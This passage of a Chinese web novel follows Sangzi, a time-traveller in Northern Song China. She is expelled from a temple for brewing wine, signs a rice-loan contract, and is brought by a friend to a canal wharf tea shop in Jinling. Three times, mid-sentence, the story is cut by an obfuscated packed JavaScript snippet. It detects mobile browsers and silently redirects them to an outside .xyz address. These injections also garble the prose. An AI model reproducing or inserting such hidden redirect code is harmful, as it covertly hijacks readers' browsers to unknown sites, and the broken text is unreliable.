于是忍不住蹲下身试了一捧，咽下去却有一股子甘甜直沁到脾肺里，连舌根都透着爽利。 她不由得在心里砸吧了下嘴，暗叹这真是天生的酒泉，虽然不如雪水包容万物，却是有性格的水。 水性轻活甘洌，正是酿酒的绝佳材料，若用来发酵，必能助酒曲充分舒展，酿出的酒体定然清透不浊。 这般水性摆在眼前，倒让她鬼使神差地开了口，本是一时心痒试探，想着与老管家提提这好处。 但见老儿如此实诚，心下暗忖这老管家竟是真心实意待她，当初邀她认门怕也是诚心诚意的。 倒是她穿越以来，却是处处防着这个那个的，如今反显得自己小气了。 眼见着日头偏西，老人还要留她用饭，桑梓便连忙告辞，一个人揣着那袋根本没送出去的剩米深一脚浅一脚地往回走。 一路上只见得夕晖漫洒，将疏疏朗朗的乔木影子拉得老长。道旁青黄的野草叶尖上跳着光，连带着她脚上沾的尘土，也仿佛成了金粉。 山风已带了些许晚凉，却清爽得很，将她心头那点残存的忐忑也一并涤了去。 不觉放缓了步子，瞧着远处禅院翘起的檐角在暮色中勾出沉静的轮廓，心想今日这番境遇，倒真算得上是“山重水复疑无路，柳暗花明又一村”了。 可刚到禅院门口，就见前一日吃了她米团子的小沙弥，正急得火烧屁股似的在石阶上团团转，一见她的身影便扑将上来。 她连忙一把将这孩子扶稳，却听他眼中带着细细的泪花，声音也抽抽噎噎的。 “祸事了！慧明师叔已带人到你家偏殿外头，扬言要拿你法办呢！” 桑梓闻言心头猛地一沉，面上却不动声色，只将小沙弥拉到一旁柳荫下。 “莫慌，且细细说与我听。” 原来是那灶头僧嘴快，将住持昨日未曾就食的事情报与了慧明知晓。 慧明听得寺中居然能短了他师叔的粮米，当即沉了脸，领着棍僧一处处搜检。 待查到西北角偏殿时，本是随意推门瞥一眼，不料一股酒气直扑出来，这才撞破了桑梓的酿酒家伙事。 这可真是苦也！ 她一边听着小沙弥的哭诉，一边忍不住掂了掂自己怀里的半袋剩米。 这下可是人赃并获了。 但如果要让她丢了这袋米，桑梓也是决计不肯的。 横竖殿里都已叫人翻了出来，再多这半袋倒也显不出更臊了，反倒平白糟践粮食。 天已然更黑了，她便拉住小僧儿细弱的手腕，递去一个安定的眼神。 “莫怕，且随我去看个分明。” 8. 破戒 暮色已沉作靛蓝，禅院廊下才挂起三两灯笼，月光洒下来，照得青石板上像铺了一层薄霜，连灯笼光都衬得淡了。 桑梓牵着小沙弥的手，面上淡淡，脚下步子也迈得稳当，直往西北角偏殿去。 远远瞧见偏殿廊下映着几条晃动的人影，小沙弥吓得往她身后缩，却被桑梓反手扣住腕子。 “慌什么？我又不曾真的偷。” 袖袋里那半袋米实实在在放在怀里，她本就是堂堂正正借来的，作甚要学那偷油老鼠躲躲藏藏？ 待走到偏殿，只见月光下一个高大的身影持着戒棍立在殿门前，脚边赫然摆着那只曲颈瓶。 桑梓抿了抿唇，还未及开口，便听得院内传来慧明冷厉的声音。 “可是桑小娘子回来了？贫僧候你多时了。” 这年轻僧人光头上泛着青茬，月光下竟有几分铁打的冷硬，一身赭黄僧袍绷在肩膊上，活像山门外那尊护法金刚。 一根戒棍斜斜点在地上，枣木作的棍身泛着一层乌油油的亮，棍头还沾着几星未干的泥点子。 这人要是出去，那哪是去化缘的？ 应该是去给十八罗汉开路收香火钱的铁金刚。 慧明瞪着铜铃般的眼睛，想从这小姑娘脸上看出些慌乱来，却只见月光下一双清凌凌的眸子，静得能照出他自个儿的影子。 倒让他心头那点底气晃了晃。 这丫头镇定得不像个被拿住赃的，倒像尊看透了虚实的玉菩萨。 “速将所作所为一五一十道来，若等衙役来拿人，那可真是要受大苦楚了！” “法师这般疾言厉色，倒叫小女子糊涂了，不知我犯了哪条清规戒律，竟要劳动衙役来拿人？” 不就是诈她嘛。 桑梓心里门儿清，这和尚摆明了是猫吓耗子的把戏，她倒要看看这出戏能唱到哪一步。 慧明一听，二话不说就把手里的戒棍往青石板上重重一扽，震得棍头泥星子四溅。 “你这破落女子，莫要揣着明白装糊涂！” “慧明！” 住持的声音从廊下沉沉传来，灯笼光里映出他清瘦的身影，衣着却是难得的不甚整洁，连脖子上的佛珠也没有挂。 虽然是匆忙赶来，但身为庙中住持，自然也已经明了前因后果。 “那米原是老衲亲手借与桑家祖孙的，慧明，你莫要胡乱泼污！” 桑梓心中一松。 住持既然愿意帮着说项，那酿酒的事自然也能圆过去了。 于是也从怀里取出最后半袋剩米，稳稳当当地解开扎口，将里头的糙米粒亮在月光下，倒比那灯笼光还显眼些。 “米袋在此处，法师可要亲自点点数目？” 但慧明不愧是小沙弥口中那个只认死理的师叔，虽然眼见住持出面说情，反倒更认准了桑梓心里有鬼。 于是猛地一甩手，只梗着脖子，铜铃般的大眼瞪得几乎要凸出眶来，活像寺里那尊降魔罗汉的泥塑像。 “师叔休要替这破落户打掩护！借米在佛门净地酿酒？这般荒唐说辞，莫不是哄鬼呢！” 住持一时语塞。 倘若换成之前的他，确实也不会容人在佛门净地酿酒。 他看着自家这个慧明师侄，头一次感受到了那天晚上桑梓看着自己时的感觉。 师侄还得练啊，着相了啊！ 但慧明性格向来是头拉磨的倔驴，认准的死理九头牛都拉不转，这这这…… 一时犯难间，就听得殿前的少女不紧不慢地开了口，清凌凌的嗓子像泉水敲在青石上。 “法师莫急，这本就是一桩买卖，今日我借一袋米，十日后双倍奉还足陌铜钱，一个子儿都不会短了庙里的！” 见双倍奉还这话又被桑梓提起来，住持心里一惊，抬眼却见她神色已然冷了下来，连眉眼间的分寸都拿得恰到好处，活脱脱就是个谈买卖的架势。 他心中也是一凉。 本想让这桑家祖孙念自己的好，如今慧明这头犟驴横插一杠子，倒把一桩人情买卖搅成了公堂对簿。 如今不得罪人，恐怕就已是万幸了！ 一时间只听到少女平静的声音一字字砸在青石板上。 “十日后双倍奉还足陌铜钱，法师若不信，现在便可立字为据。” 她本就不想欠住持这番人情，如今既然话赶话说到了这个地步，便索性支使那小沙弥道：“去禅房取套文房四宝来。” 小僧儿犹豫地看了看师叔祖和沉默不语的慧明，终究还是缩着脖子往禅房溜去，不多时就把纸笔拿了来。 “住持师傅，劳烦您过来做个见证，咱们白纸黑字把这桩买卖写清楚。” “桑小娘子何至于如此生分……” 但面对桑梓那双平静的眸子，住持到底还是把后半句劝和的话咽了回去，只得净了净手接过笔，倒像是被账房先生催着对账本的掌柜。 倒是慧明狐疑地看了住持一眼，心里那本账翻得哗哗响。 师伯今日怎地像换了个人，倒像是被这小娘子牵着鼻子走的一尾银鳞鱼呢？ 北宋的契书分门别类，单是借贷便有“出举”与“负债”两种名目。 出举便是白纸黑字、明码实价的借贷，是《宋刑统》里青天大老爷们都认的“有利债负”。 利钱几何，何时归还，都得在契书上写得清清楚楚，好比市井买卖，一钱银子一分货，童叟无欺。 负债则多是寻常百姓间口头一诺，或是仅凭条子的人情债，算不得正经契书，利钱更是藏在人情厚薄里，扯不清爽。 今日桑梓与禅院所立的，正是“出举”里最讲信用的贷米契。 见双方都摁上手印，慧明抄起来仔细看了，这才神色稍霁，转念却又起了一丝犹疑。 薄薄一张契书如何束得住脱缰的马？ 若这小娘子一去不回，难不成还真要追到天涯海角讨那半袋米的债？ 想到这里，见桑梓要迈步进店去看祖母，他又是一杵手上的戒棍，粗声粗气地开口。 “小娘子虽立了契书，可这佛门净地酿酒终究犯了戒律。恕贫僧直言，还请早日另寻安身之处，莫要污了宝地清净。” “我们现在就走，碍不着尊法师的清净。” 桑梓头也不回地推开偏殿的门，正见着自家老祖母半倚着草席强撑起身子，眼里虽带着病气，却依旧沉静地望向门口。 她连忙过去把老太太扶起来，再把最后一条被褥系个大结往肩上一甩，活像个走江湖的卖艺人。 收拾停当后再推开殿门，月光下只见她一手搀着老祖母，一手提着包袱，步履蹒跚地迈过高高的门槛。 外面其他的武僧全都散了干净，就连之前带路的小沙弥也约摸是被赶回去熄了灯，只剩下终于穿戴整齐的住持和慧明。 一高一矮的两个僧人在月光下活像庙里那对失了香火的泥塑罗汉，一个垂着眼皮捻佛珠，一个攥着戒棍杵在原地。 桑梓头也不回的就要搀着老祖母往山门外走，慧明手上的戒棍却又忽然抬起，挡在她前行的路上。 “且慢。” 桑梓皱着眉看向他，不知这人要闹什么幺蛾子，亦或是又要出尔反尔横生枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489002|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节？ 慧明的声音在月光下显得阴恻恻的，像是青石板缝里渗出的凉气，轻飘飘地粘在人脊梁骨上。 “老夫人年事已高，夜路难行，不如暂留禅院静养。待十日期满……” “慧明，你放肆！” 住持闻言，声音陡然沉了下来，攥着佛珠的手指节一用力，几乎把穿着珠子的绳结捏断。 “扣押老弱，以人为质，这岂是我释家弟子所为？你眼中可还有慈悲二字！” “老衲尚在此处，何时轮到你来越俎代庖，行此近乎无赖之事？立刻退下！” 慧明被自家师叔这突如其来的雷霆之怒慑得一怔，尤其是那句近乎无赖，更是刺得他脸上青红交错，梗着脖子还想强辩。 “师叔！我这是为了禅院……” “为了禅院？若禅院的清名需得靠欺凌孤寡来维系，这香火不如断了干净！” 自己这个师侄不过进城化了几次缘，如何就染上这等势利眼的毛病，铜臭味都透进僧袍里来了，此刻的言行与市井恶霸何异！ “你再执迷不悟，便不是面壁思过那般简单了，寺规第一条是什么？你可还记得！” 慧明死死咬着牙，却再不敢发一言，只不甘示弱地回看他。 自以为自己一颗赤胆忠心都是为了禅院清净，倒像是那护法金刚转世来横眉冷对这世间的浊气。 桑梓就看着这师徒俩唱对台戏似的你瞪我我瞪你，一时间居然想笑。 原来人在无语的时候真的会笑。 这不是欺负人是什么呢？ 欺负她年少失恃无枝可依，连契书都信不过，还要押住这最后的亲人？ 既如此，那就别怪她炮火全开了！ 她可不是什么好相与的人，就算手里占不着便宜，今日临走之际必要给他骂个狗血淋头！ 于是见少女柳眉一竖，似嘲非嘲的眸光从眸子里直泄出来，刺的那慧明是如芒在背，然后就听她轻飘飘地开了口。 “口口声声护持清净，手底下干的却是扣押老弱的事，怎么是觉得这天下之大，就只有你一个人赤胆忠心，旁人都是需要提防的小人了？” “分明一个伪君子，倒还在这里狺狺狂吠，装模作样地充假慈悲，倒也不怕佛祖被你这假信徒气得一佛出世二佛升天！” 那慧明被这话刺得浑身一震，手中戒棍竟哐当一声砸在青石板上，当即恼羞成怒，连那光头上的青茬都似要根根倒竖起来。 但当着住持的面又不敢真动手，只得梗着脖子再一次开口强辩起来。 “小娘子休要一派胡言，贫僧分明是为禅院清净着想，倒被你说成歹人似的，真是好心却被当成驴肝肺！” “好心？你这肚子里黑心就不知有多少颗，要我说必还有那贪慕香火钱的贪心，嫉妒旁人功德的嗔心，痴心妄想的糊涂心，倒要剖开看看到底有没有好心！” 桑梓一时气场全开，一边在心中暗暗感谢西游记友情提供的语料库，一边借他三藏真经里的禅机，打他个现世报的痛快！ 慧明一向仗着拳头棍棒说话，几时见过这般唇枪舌剑的阵仗，更没有能与之匹配的辩才。 一时间被说得面皮紫胀，青筋在太阳穴上突突直跳，喉结上下滚动却半个字也吐不出来，活像被鱼刺卡住了喉咙。 “我！” “你什么你？好个六根不净的和尚，尊你一声法师，还真把自己当个活佛了？” 让男人破防，就是如此简单。 桑梓最后回头啐了他一口，紧接着又朝住持欠身一礼，这才搀着老祖母头也不回地离了偏殿。 9. 德不孤 夜色已是浓得化不开了。 月光虽亮，却到底照不透禅院外那片黑黢黢的野地，灯笼的光晕被远远甩在身后，像几只昏黄的眸子。 桑梓搀着老祖母，一脚深一脚浅地踏下禅院门前的石阶，肩上沉得像压了块磨盘，脚下是凹凸不平的土石路。 偶尔踩到松动的石块，便是一个趔趄，引得身旁的老祖母也跟着身子一歪。 方才殿前与慧明那一番唇枪舌剑虽占尽上风，可这痛快劲儿一过，凉飕飕的夜风往领口里一钻，才觉出胸口那点热气早已耗得差不多了。 老祖母半个身子的重量都倚在她肩上，脚步虚浮，喘气声细得像秋后的游丝，拂在自家孙女颈窝里，带着病弱的潮意。 老太太始终一言不发，只是那枯瘦的手，将她的腕子攥得死紧。 山门在身后吱呀一声阖拢，将那对师徒，连同清规戒律和金钱算计，都严严实实地关在了另一重世界里。 眼下，可就是真真正正的举目无亲，前路茫茫了。 桑梓站定，将肩上的东西往上掂了掂，勒得生疼的肩膊才得了一丝松快。 她抬眼望向那条淹没在夜色里的土路，月光只照得见眼前几步，再往前，便是深不见底的墨色。 “祖母，脚下仔细些。要不要在道边歇一会，喘口气？” “囡囡，方才那十日期限是怎生个说法？你莫不是情急之下，瞒着阿婆许了人家什么为难的事？” 问完就见自家孙女一愣，方才还气势汹汹的神情微微一滞，像是被夜风呛了一口。 某人头一次觉得自己圆不回来。 被自己敲的这算盘珠子崩到自己脸上的感觉，火辣辣的，只能道一声脸疼心虚。 于是便塌了肩，索性将背上那个沉得压人的包袱卸在路边石上，浊气从肺腑里沉沉吐出来，搓了搓发木的肩头，这才转头看向祖母。 “不过是十日后双倍还他们一袋米，祖母宽心，咱们走夜路便是。” 老太太听了脚下却没动，只是将身子往路边的老树根上靠实了些，借着月光细细打量孙女的脸，目光锐利得像要看进她心里去。 “双倍还米可不容易，囡囡，你告诉阿奶，这荒山野岭的，你预备拿什么去挣那一袋米？” 被祖母这么直指核心的一问，少女心里那本账便哗啦啦地翻了起来。 硬碰硬去夺回酒坊？ 那是送死。 指望旁人施舍？ 这世道，慈悲心肠不多见，倒是算盘珠子拨得比佛珠还响，铜钱落袋的动静比木鱼声还大。 她的目光忽落在怀里那半袋米上，忽然就想起前一宿忙忙碌碌酿酒，那一丝极淡的酒意仿佛又萦回鼻尖。 于是决心已下，义无反顾。 “阿奶，他们不是嫌咱们在佛门净地酿酒么？咱们偏要堂堂正正，到市井去支个摊子。” “就拿这半袋米作本，十日工夫，刚好够一缸新酒出醅。是赔是赚，总要摆到市面上去见分晓！” 老祖母只听得自家孙女这番豪气凌云的话，脸上便漾起一丝极浅的笑纹来。 “有囡囡这番话，阿奶便是即刻去了，黄土盖脸时也能合上眼了。” “阿奶！” 桑梓喉头一哽，后面的话被夜风堵在了嘴里，再也吐不出半个字。 偏在这时，山道拐角处传来车轮压过碎石的细响，一抹昏黄的光便从墨色里慢慢渗了出来，不慌不忙地，将眼前的夜色晕开一小片。 祖孙两个循声望去，只见一辆瘦老驴拉着的板车吱呀作响，车头挂着的油灯晃悠悠地，不紧不慢地踏着月色而来。 车上坐着个身形单薄的女子，粗布包头，就坐在车辕上，借着灯笼光仔细瞧了瞧这一对祖孙，便惊喜地轻呼出声。 “可是桑家妹子当面？” “正是小女子，不敢动问娘子尊姓，缘何深夜至此？” “桑家妹子莫惊！是俺，是码头上摆茶摊子的吴秀娘啊！你不记得了？” 桑梓一怔，这才从原主零碎的记忆里拾起这么个爽利人物。 原是码头上帮人缝补的吴家娘子，后来得了桑大贵几分帮扶，在码头起了个能摆三张桌子的茶肆！ 还不等她开口，祖母倒先直起身来，轻轻拍了拍她的腕子。 “是秀娘啊…认得这个声音。” “正是秀娘，老太太和桑家妹子且跟我上车，这黑灯瞎火的，快随我往码头茶肆去！” 吴秀娘爽利地跳下车辕，先取过卸在路边的被褥在板车上细细铺开，然后便伸手去扶老太太的胳膊。 于是三人便在这夜色里上了车，老驴嗯啊嗯啊地叫着，蹄声嘚嘚，又顺着来时的路往回走。 到了车上，她这才稍稍得了机会，细细打量这位秀娘子的形容。 只见吴秀娘一张瓜子脸，肤色是常经风吹日晒的微褐色，却收拾得干干净净，眉眼疏朗，透着几分江风吹出来的利落劲儿。 吴秀娘也细细打量起这几年不见的桑家小女来，见她褪了色的粗布衫下肩骨伶仃，瘦得颧骨有些显，可那双眼睛却比从前亮得多了，像被江水洗过的石头子儿。 “桑家妹子经了这一劫，吃了这些苦头，倒是…倒是把眉目间那点孩气都给磨洗尽了，看着像个能扛事的大人了。” 桑梓忍不住苦笑一声，嘴角牵起个干涩的弧度，倒像是夜风灌进了喉咙里。 可不是嘛。 不过短短三天两夜，颠沛流离，遭人冷眼，殚精竭虑，倒像是把前半生没尝过的苦汁都囫囵饮了一遍，皱眉头缩脖子地硬咽下去。 不过咽也是白咽，横竖都得往下走。 “阿姐如何赶夜路到这般黑灯瞎火的地界来，倒像是专程候着似的？” “还不是桑大富那个杀千刀的贼杀才！” 一说这个，吴秀娘立马就坐不住了，一双柳眉倒竖起来，驴鞭抽的又急又快。 恨不得座下不是她家那老驴儿，倒是那嚼舌根的直娘贼，好教她抽他个皮开肉绽，方解心头之恨！ 然后又花了好些口舌，桑梓才把这前因后果理了个清楚明白，方才觉得心头一块石头落了地。 原是吴秀娘去吊唁时，灵堂前只见桑大富带着几个远房亲戚装模作样地抹眼泪，独独不见小娘子和老太太的身影。 不过多问一句，桑大富就嚎啕着说老娘伤心过度起不来床， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489003|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又说侄女送去城里做学徒去了。 吴秀娘当时就觉得不对劲。 且不说桑家自家就有现成的酒坊，何须舍近求远送到别家酒肆去从学徒做起？ 就单说老太太，虽则年迈，却是个极刚强、极重礼数的性子，儿子头七，再病重爬也该爬出来守着的，怎会完全不露面？ 她心下疑云顿起，直觉此事必有蹊跷。 连着两日假借送奠仪在桑家巷口转悠，终于从隔壁那家每日清早起来卖炊饼的老汉嘴里，用两个热炊饼和一番同情唏嘘，套出了实话。 桑家祖孙竟被丢到寒山上的禅院了？ 这还了得！ 吴秀娘一听就炸了。 桑家大哥当年帮扶的恩情还未曾还报半分，桑小娘子又是从小看着长大的。 更别说老太太了——那可是秀娘正经登堂入室拜见过的长辈！ 倘若为了一时清净就装作不知，往后怕是连江里的鱼都要唾她吴秀娘的脊梁骨！ 回家与婆婆和年幼的儿子一说，全家都支持她得去接人。当即套了驴车就要上山，偏巧就赶上那一场大雪封了路，好容易等到雪稍停，她便连夜赶着老驴踏着残雪深一脚浅一脚来了。 亲生骨肉弃若敝履，陌路之人倒肯雪中送炭。 桑梓听了这一遭，心里只觉唏嘘。 老祖母却早已听的热泪盈眶，拉着孙女就是一个敞开了哭的大动作，眼泪扑簌簌落在衣襟上。 “秀娘啊…这恩情叫我们祖孙怎么还…” “老太太快莫说这等折煞人的话！街坊邻舍的搭把手，还不是应当应分的天理人情？” 吴秀娘捋了一把老驴背上的驴毛，又不由分说地往少女怀里塞上两块粗面炊饼。 “丫头，饿了一整天吧？趁热垫垫。” 她也不含糊地接过就咬，粗面饼子刮着喉咙囫囵咽下，眼眶悄悄热着，耳边还听着吴秀娘絮絮叨叨地跟老太太说着码头上的新鲜事。 “前日漕船的侍卫比平日多了一倍，说是来了广南的香药，还有泉州的白瓷…” “码头的脚夫可苦，我临来前还见押纲的虞候正发火，说他们贪了漕粮…” 桑梓出神地听着，话题很快就转到了吴秀娘自己的茶肆上。 见她将码头三教九流的生意经说得头头是道，眉目间不掩骄傲，终是忍不住问出了心底的疑惑。 “这码头人来船往的，客商们连泊船都赶着时辰，居然有闲心坐下来吃茶？” “诶哟！俺的妹子哟，你这可就是不懂咱们码头上的门道啦！” 吴秀娘眯着眼睛笑起来，油灯的光在她眸子里跳了一跳，倒也不拘让人学了她的生意经，将码头上的门道细细说与这落难的小娘子听。 “码头上的茶水哪里是让人慢品的？船老大卸货要提神，账房先生对账要润喉，脚夫歇脚要解乏——两文钱管饱的粗茶梗子，比甚么琼浆玉液都实在！” 她一边说，一边饱含深意地瞥了眼少女那双带着细茧的手，倒像是看透了这丫头骨子里藏着的酿酒本事。 “要俺说，小娘子若是有酿酒的巧宗儿，不如就在俺茶肆边上支个酒摊儿，彼此好有个照应。” 10. 漕运码头 驴车吱吱呀呀地顺着车辙往回走，将沉沉夜色远远甩在身后，直到上了大道，路面这才露出被无数车轮经年累月碾压出的质地。 光是下山就花了不短功夫，好容易到了平地上，夜色仍浓得化不开，唯天际尽头透出一抹鱼肚白，湿漉漉软塌塌的，像浸了水的绸布。 吴秀娘此时不再扬鞭，只由着那匹识途的老驴自己不紧不慢地走。 她顺手将灯笼往车辕旁的铁环里插稳，那一团昏黄的光晕便在坑洼不平的土石路上跳跃不定，勉强能照亮前方丈许远的地界。 风更烈了些，带着江水的湿腥气，卷起道旁的枯草，打在车板上簌簌作响。 “快五更天了，”吴秀娘紧了紧头上的布帕，声音裹在风里有些模糊，“再赶一程，正撞上城门开钥。” 桑梓将老祖母往怀里拢了拢，用身子替她挡着风。 老太太经这一夜颠簸，早已精疲力竭，歪靠在孙女肩上，眼皮沉重地耷拉着，呼呼地睡着了。 路两旁开始出现零星的黑影，是些依着官道搭建的简陋草棚，偶尔传来几声犬吠，或是夜归人模糊的咳嗽声。 空气里混杂着泥土、腐草和隐约的牲口粪味。远处，几点微弱的灯火在黑暗中摇曳，像是夜航的渔舟。 “瞧见那亮光没？” 吴秀娘抬手指了指右前方一片稍密集的灯火。 “那是夜里的江东驿，漕粮入金陵前最后一处大码头。日夜不停，总有押纲的官兵和漕丁歇脚，比白天还热闹。” 顺着她指的方向望去，只见一片黑压压的屋舍轮廓匍匐在江岸旁，灯火星星点点，映得近处江水泛着粼粼碎光。 隐隐有号子声和铁链拖曳的响动随风传来，隔着这么远，仍能感受到那股子混杂着汗臭与金钱气息的忙碌。 然后驴车拐过一个弯，板车猛地一抖，眼前终于教桑梓看见了江。 一条浩瀚大江横亘天地之间，江面比上一世所见宽阔得多，对岸金陵城竟只能望见一片连绵起伏的庞然黑影，如一头蛰伏的巨兽。 城墙上零星点缀着几处灯塔，火光在夜风中明灭不定，与天上疏朗的星遥相呼应。 但最夺目的是江面上！ 密密麻麻、高低错落的桅杆像一片枯树林，直插夜空。 船上悬挂的灯笼连成一片，倒映在漆黑的水面上，随波光晃动，竟似将半条江都点燃了。 虽已是后半夜，仍可见大小船只如游鱼般在灯火阑珊处穿梭，桨声、橹声、水流声交织成一片沉闷而持续的轰鸣，扑面而来。 江东气象，蔚然在目！ 相较于现代化的南京，眼前这片吞吐着十万漕船，关系着漕运命脉的活水，才真正称得上龙蟠虎踞的帝王州啊。 也难怪三国时江东的少年郎，敢驾着小舟在拍岸惊涛里谈笑风生。 日日对着这般吞得下日月星辰的万里波涛，任谁胸中都会生出吞山并海的胆气。 吴秀娘见她神色怔忡，只当是小娘子忆起往日随父来往金陵的光景，心下不免唏嘘。 又自觉这是宽慰小姑娘的好时机，便扬鞭指那江上灯火。 “这便是咱的金陵……” “任你天大的事，到了这江边，也只觉得自家渺小得像粒沙子。” 紧接着安抚地伸出手拍了拍她的肩头，把老人身上滑落的褥角往上掖了掖，目光却始终望着前方渐亮的江面。 “这江风再冷，吹久了也就惯了。” 桑梓明白这种感觉。 纵是谁江下望此天地，也会觉得那热闹是旁人的热闹的。 正说着，路旁出现一个简陋的茶摊，草棚下还亮着灯，一个头发花白的老汉正就着炉火熬煮着什么，热气腾腾。 摊前拴着几头歇脚的骡子，空气中弥漫着劣质茶叶和草料混合的气味。 “老丈，讨碗热水！” 吴秀娘住了话头，勒住驴，跳下车，从怀里摸出两文钱递过去。 那老汉抬起眼，接过钱，默不作声地舀了碗热水递过来，吴秀娘接过，先递给车上的女孩儿。 “给老太太抿一口，暖暖身子。” 桑梓小心地喂祖母喝了点热水，老太太喉咙动了动，缓过一口气，微微睁眼看了看四周的灯火江水，又疲惫地闭上。 “今早城门能准时开不？没听说有什么耽搁吧？” 吴秀娘自己也灌了几口，顺势跟老汉搭话，老汉用破布擦着碗，瓮声瓮气地答。 “太平门那边昨夜漕船卸货，压坏了跳板，闹腾了半宿。这会儿应该清理妥当了，卯时三刻准开。” 几个腰挎朴刀的军汉就在这当间骑着快马从车旁疾驰而过。 背上墨渍淋漓地刷着个漕字，鞍旁还挂着巡夜用的羊角灯笼和拷问用的水火棍，马股上烙着编号，径直朝江东驿方向去了。 吴秀娘直起脖儿看了看，侧身与她解释。 “是漕司的巡河兵丁，看这架势，昨夜码头不定出了什么幺蛾子。” 桑梓默默看着这一切。 江风的凛冽、码头的喧嚣、军汉的匆忙、陌生老汉的漠然……这一切都与她熟悉的金陵完全不一样了。 这金陵城的门还没进，那股子庞大、复杂、既诱人又逼人的气息，就已经沉甸甸地压了过来。 驴儿继续迈动脚步，颈下的铜铃随着步伐发出沉闷的叮当声，不紧不慢地，像是给这渐醒的清晨打着拍子。 待绕过了江，水汽渐淡，人烟却稠密起来，接下来所见就多是人文风物了。 道旁是连绵的菜畦，早有农人在担水浇园，再往前走，就见屋舍渐渐挨挤，虽是土墙茅顶，檐下却整齐挂着成串的黍穗，透着过日子的精心。 路面宽阔平整，车辙印极深，显是走惯了载重漕船货物的太平车，道上也早已热闹起来。 有挑着时鲜菜蔬赶早市的农夫，有推着独轮车往城里送炭的樵夫，还有三五成群蹲在道旁等活计的揽车夫，空气里混着泥土、粪肥、炊烟和蒸饼的香气。 “没走过这条路吧？前面就是龙光闸， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489004|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每日卯时开闸放漕船。这几日听说漕司查得严，咱们正好瞧个真切。” 望去只见一道水闸横跨秦淮支流，闸口石砌码头延伸开去，停满了吃水极深的漕船。 闸吏正按册查验船引，几个市舶司的勾当官盯着抽解商货，另有禁军兵士持弩巡视，正是朝廷整饬漕政的光景。 “瞧见那青衫襥头的没有？这人是专验广南香药的白直手分。旁边穿褐色戎袍的，是刚调来的胜捷军。” 白直手分就是市舶司下的吏员，身子正好侧对着她们的车，桑梓一边打量着这人的工作流程，心里也少不得盘算。 她日后怕是要常和这些市舶司的吏员打交道，此刻便格外留了心，将那人验货的流程都暗暗记下。 吴秀娘也特意停了车由着她看，直到少女收回视线，驴车这才继续动起来。 并未转向城门方向，而是顺着河岸继续前行，于是眼前景象豁然开朗，真正的码头市井扑面而来。 右边是喧嚣的秦淮河水，大小船只挨挤，跳板林立，号子声、斥骂声、货物砸地的闷响不绝于耳。 扛着麻包的脚夫们喊着号子，成串地从船舱里走出，汗水在古铜色的脊背上淌出油亮的光。 左边则是密密麻麻的货栈、仓场和临街的铺面，空气中混杂着稻谷、咸鱼、桐油、的气味。 牙行的伙计们早早候在路边，眼睛像钩子一样打量着每一个刚靠岸的船老大。 卖力巴粥、炊饼、汤面的早点摊子也支在道旁，粗陶碗碰撞作响，苦力们蹲在路边埋头狼吞虎咽。 更有那算命的，代写书信的，卖狗皮膏药的，也寻了空隙摆开摊子，构成了这码头底层生态的一环。 吴秀娘对这一切习以为常，鞭梢轻点，驾着驴车熟练地在人流货堆中穿行，最终停在了一处离河岸不远，门口挑着个茶幌子的铺面门前。 “这就到了，咱的江口茶肆。” 桑梓抬眼望去，只见这茶肆门面不过三楹，土墙瓦顶，檐下悬着个被江风熏得发黑的茶字木牌，底下摆着几张粗木桌凳，却正对着秦淮河上的盛景。 吴秀娘的小儿子正提着壶穿梭其间，壶嘴喷着白汽，不间断地往碗里续上滚水—— 每续一碗，便从桌角的竹筲筲里拈走一枚磨得发亮的铁钱。 桌凳上正坐着三五个赶早的脚夫，捧着粗陶海碗埋头啜着酽茶，还有两三个等活计的揽车夫蹲在条凳上，茶碗空了，便就着自带的干粮开始啃炊饼。 见了吴秀娘先是招呼一声，这才把好奇的目光转向刚下车的祖孙俩。 “吴娘子，方才还见你家老娘在灶头忙活，这转眼又接回来二位？面生得紧呐。” 吴秀娘于是笑着将桑梓往前轻轻一推，见众人的目光落在老人身后的少女上，话音里便带上了茶馆老板娘的爽利劲儿。 “如今面生，日后就不面生了，只怕到时候你要求着我这位妹子讨酒吃，还怕吃不上热乎的呢！” 酒？ 霎时间，所有人的眼睛都亮了。 11. 安身 “当真有酿酒的手艺！” 眼见着几个脚夫眼睛立刻亮起光来，揽车夫踮脚张望，连那啃炊饼的都停了嘴，茶碗顿在桌上，倒像酒香已经飘到鼻尖似的。 码头上的汉子们，可谓是苦无酒久矣！ 尤其是这三九寒冬，卸完货扛完包，谁不想灌点小酒，好把冻僵的手脚重新暖过来？ 酒于码头人而言，那就好比纤夫肩上的纤绳，脚夫脚下的草鞋，不是什么解馋的零嘴儿，而是吊住精气神的命根子。 